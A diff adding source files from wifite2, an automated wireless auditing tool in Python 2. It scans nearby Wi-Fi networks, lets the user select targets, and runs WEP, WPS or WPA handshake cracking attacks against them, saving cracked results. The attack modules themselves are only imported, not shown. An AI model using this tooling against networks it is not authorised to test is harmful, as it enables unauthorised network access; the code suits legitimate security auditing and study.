wifite/util/process.py Executable file
View File

@@ -0,0 +1,180 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from subprocess import Popen, PIPE
from wifite.util.color import Color
from wifite.config import Configuration
class Process(object):
''' Represents a running/ran process '''
@staticmethod
def devnull():
''' Helper method for opening devnull '''
return open('/dev/null', 'w')
@staticmethod
def call(command, cwd=None, shell=False):
'''
Calls a command (either string or list of args).
Returns tuple:
(stdout, stderr)
'''
if type(command) is not str or ' ' in command or shell:
shell = True
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing (Shell): {B}%s{W}" % command)
else:
shell = False
if Configuration.verbose > 1:
Color.pe("\n {C}[?]{W} Executing: {B}%s{W}" % command)
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait()
(stdout, stderr) = pid.communicate()
if Configuration.verbose > 1 and stdout.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.split('\n')))
if Configuration.verbose > 1 and stderr.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.split('\n')))
return (stdout, stderr)
@staticmethod
def exists(program):
''' Checks if program is installed on this system '''
p = Process(['which', program])
stdout = p.stdout().strip()
stderr = p.stderr().strip()
if stdout == '' and stderr == '':
return False
return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0):
''' Starts executing command '''
if type(command) is str:
# Commands have to be a list
command = command.split(' ')
self.command = command
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command))
self.out = None
self.err = None
if devnull:
sout = Process.devnull()
serr = Process.devnull()
else:
sout = stdout
serr = stderr
self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize)
def __del__(self):
'''
Ran when object is GC'd.
If process is still running at this point, it should die.
'''
if self.pid and self.pid.poll() is None:
self.interrupt()
def stdout(self):
''' Waits for process to finish, returns stdout output '''
self.get_output()
if Configuration.verbose > 1 and self.out.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.split('\n')))
return self.out
def stderr(self):
''' Waits for process to finish, returns stderr output '''
self.get_output()
if Configuration.verbose > 1 and self.err.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.split('\n')))
return self.err
def stdoutln(self):
return self.pid.stdout.readline()
def stderrln(self):
return self.pid.stderr.readline()
def get_output(self):
''' Waits for process to finish, sets stdout & stderr '''
if self.pid.poll() is None:
self.pid.wait()
if self.out is None:
(self.out, self.err) = self.pid.communicate()
return (self.out, self.err)
def poll(self):
''' Returns exit code if process is dead, otherwise "None" '''
return self.pid.poll()
def wait(self):
self.pid.wait()
def running_time(self):
''' Returns number of seconds since process was started '''
return int(time.time() - self.start_time)
def interrupt(self):
'''
Send interrupt to current process.
If process fails to exit within 1 second, terminates it.
'''
from signal import SIGINT, SIGTERM
from os import kill
from time import sleep
try:
pid = self.pid.pid
kill(pid, SIGINT)
wait_time = 0 # Time since Interrupt was sent
while self.pid.poll() is None:
# Process is still running
wait_time += 0.1
sleep(0.1)
if wait_time > 1:
# We waited over 1 second for process to die
# Terminate it and move on
kill(pid, SIGTERM)
self.pid.terminate()
break
except OSError, e:
if 'No such process' in e.__str__():
return
raise e # process cannot be killed
if __name__ == '__main__':
p = Process('ls')
print p.stdout(), p.stderr()
p.interrupt()
# Calling as list of arguments
(out, err) = Process.call(['ls', '-lah'])
print out, err
print '\n---------------------\n'
# Calling as string
(out, err) = Process.call('ls -l | head -2')
print out, err
print '"reaver" exists:', Process.exists('reaver')
# Test on never-ending process
p = Process('yes')
# After program loses reference to instance in 'p', process dies.

226
wifite/util/scanner.py Executable file
View File

@@ -0,0 +1,226 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.tools.airodump import Airodump
from wifite.util.color import Color
from wifite.model.target import Target
from wifite.config import Configuration
from time import sleep, time
class Scanner(object):
''' Scans wifi networks & provides menu for selecting targets '''
# Console code for moving up one line
UP_CHAR = '\x1B[1F'
def __init__(self):
'''
Starts scan, prints as it goes.
Upon interrupt, sets 'targets'.
'''
self.previous_target_count = 0
self.targets = []
self.target = None # Specific target (based on ESSID/BSSID)
self.err_msg = None
Color.pl("")
# Loads airodump with interface/channel/etc from Configuration
try:
with Airodump() as airodump:
# Loop until interrupted (Ctrl+C)
scan_start_time = time()
while True:
if airodump.pid.poll() is not None:
# Airodump process died
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
try:
self.targets = airodump.get_targets()
except Exception, e:
break
if self.found_target():
# We found the target we want
return
self.print_targets()
target_count = len(self.targets)
client_count = sum(
[len(t.clients)
for t in self.targets])
outline = "\r{+} Scanning"
if airodump.decloaking:
outline += " & decloaking"
outline += ". Found"
outline += " {G}%d{W} target(s)," % target_count
outline += " {G}%d{W} client(s)." % client_count
outline += " {O}Ctrl+C{W} when ready "
decloaked = airodump.decloaked_targets
if len(decloaked) > 0:
outline += "(decloaked"
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
Color.clear_entire_line()
Color.p(outline)
if Configuration.scan_time > 0 and time() > scan_start_time + Configuration.scan_time:
return
sleep(1)
except KeyboardInterrupt:
pass
def found_target(self):
'''
Check if we discovered the target AP
Returns: the Target if found,
Otherwise None.
'''
bssid = Configuration.target_bssid
essid = Configuration.target_essid
if bssid is None and essid is None:
return False
for target in self.targets:
if bssid and target.bssid and bssid.lower() == target.bssid.lower():
self.target = target
break
if essid and target.essid and essid.lower() == target.essid.lower():
self.target = target
break
if self.target:
Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})'
% (self.target.bssid, self.target.essid))
return True
return False
def print_targets(self):
'''
Prints targets to console
'''
if len(self.targets) == 0:
Color.p('\r')
return
if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets.
if Configuration.verbose <= 1:
# Don't clear screen buffer in verbose mode.
if self.previous_target_count > len(self.targets) or \
Scanner.get_terminal_height() < self.previous_target_count + 3:
# Either:
# 1) We have less targets than before, so we can't overwrite the previous list
# 2) The terminal can't display the targets without scrolling.
# Clear the screen.
from Process import Process
Process.call('clear')
else:
# We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets)
# Overwrite the current line
Color.p('\r')
# First row: columns
Color.p(' NUM')
Color.p(' ESSID')
if Configuration.show_bssids:
Color.p(' BSSID')
Color.pl(' CH ENCR POWER WPS? CLIENT')
# Second row: separator
Color.p(' ---')
Color.p(' -------------------------')
if Configuration.show_bssids:
Color.p(' -----------------')
Color.pl(' --- ---- ----- ---- ------')
# Remaining rows: targets
for idx, target in enumerate(self.targets, start=1):
Color.clear_entire_line()
Color.p(' {G}%s ' % str(idx).rjust(3))
Color.pl(target.to_str(Configuration.show_bssids))
@staticmethod
def get_terminal_height():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
return int(rows)
@staticmethod
def get_terminal_width():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
return int(columns)
def select_targets(self):
''' Asks user to select target(s) '''
if len(self.targets) == 0:
if self.err_msg is not None:
Color.pl(self.err_msg)
# TODO Print a more-helpful reason for failure.
# 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed.
raise Exception("No targets found."
+ " You may need to wait longer,"
+ " or you may have issues with your wifi card")
if Configuration.scan_time > 0:
return self.targets
self.print_targets()
Color.clear_entire_line()
if self.err_msg is not None:
Color.pl(self.err_msg)
input_str = '{+} select target(s)'
input_str += ' ({G}1-%d{W})' % len(self.targets)
input_str += ' separated by commas, dashes'
input_str += ' or {G}all{W}: '
chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','):
if choice == 'all':
chosen_targets = self.targets
break
if '-' in choice:
# User selected a range
(lower,upper) = [int(x) - 1 for x in choice.split('-')]
for i in xrange(lower, min(len(self.targets), upper + 1)):
chosen_targets.append(self.targets[i])
elif choice.isdigit():
choice = int(choice) - 1
chosen_targets.append(self.targets[choice])
else:
pass
return chosen_targets
if __name__ == '__main__':
# Example displays targets and selects the appropriate one
Configuration.initialize()
try:
s = Scanner()
targets = s.select_targets()
except Exception, e:
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
Configuration.exit_gracefully(0)
for t in targets:
Color.pl(" {W}Selected: %s" % t)
Configuration.exit_gracefully(0)

36
wifite/util/timer.py Executable file
View File

@@ -0,0 +1,36 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
class Timer(object):
def __init__(self, seconds):
self.start_time = time.time()
self.end_time = self.start_time + seconds
def remaining(self):
return max(0, self.end_time - time.time())
def ended(self):
return self.remaining() == 0
def running_time(self):
return time.time() - self.start_time
def __str__(self):
''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s'''
return Timer.secs_to_str(self.remaining())
@staticmethod
def secs_to_str(seconds):
'''Human-readable seconds. 193 -> 3m13s'''
rem = int(seconds)
hours = rem / 3600
mins = (rem % 3600) / 60
secs = rem % 60
if hours > 0:
return "%dh%dm%ds" % (hours, mins, secs)
elif mins > 0:
return "%dm%ds" % (mins, secs)
else:
return "%ds" % secs

239
wifite/wifite.py Executable file
View File

@@ -0,0 +1,239 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from config import Configuration
from util.scanner import Scanner
from util.color import Color
from attack.wep import AttackWEP
from attack.wpa import AttackWPA
from attack.wps import AttackWPS
from model.result import CrackResult
from model.handshake import Handshake
from crack import CrackHandshake
from util.process import Process
from json import loads
import os
from sys import exit
class Wifite(object):
def main(self):
''' Either performs action based on arguments, or starts attack scanning '''
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
Configuration.exit_gracefully(0)
self.dependency_check()
Configuration.initialize(load_interface=False)
if Configuration.show_cracked:
self.display_cracked()
elif Configuration.check_handshake:
self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake:
CrackHandshake()
else:
Configuration.get_interface()
self.run()
def dependency_check(self):
''' Check that required programs are installed '''
required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng', 'tshark']
optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger']
missing_required = False
missing_optional = False
for app in required_apps:
if not Process.exists(app):
missing_required = True
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app)
for app in optional_apps:
if not Process.exists(app):
missing_optional = True
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app)
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
exit(-1)
if missing_optional:
Color.pl('{!} {O}recommended app(s) were not found')
Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self):
''' Show cracked targets from cracked.txt '''
Color.pl('{+} displaying {C}cracked target(s){W}')
name = CrackResult.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
json = loads(fid.read())
for idx, item in enumerate(json, start=1):
Color.pl('\n{+} Cracked target #%d:' % (idx))
cr = CrackResult.load(item)
cr.dump()
def check_handshake(self, capfile):
''' Analyzes .cap file for handshake '''
if capfile == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError, e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner()
if s.target:
# We found the target we want
targets = [s.target]
else:
targets = s.select_targets()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
if 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception, e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self):
""" Displays ASCII art of the highest caliber. """
Color.pl(r'''
{G} . {GR}{D} {W}{G} . {W}
{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}
{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor
{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2
{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}
''' % Configuration.version)
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True
if __name__ == '__main__':
w = Wifite()
try:
w.print_banner()
w.main()
except Exception, e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)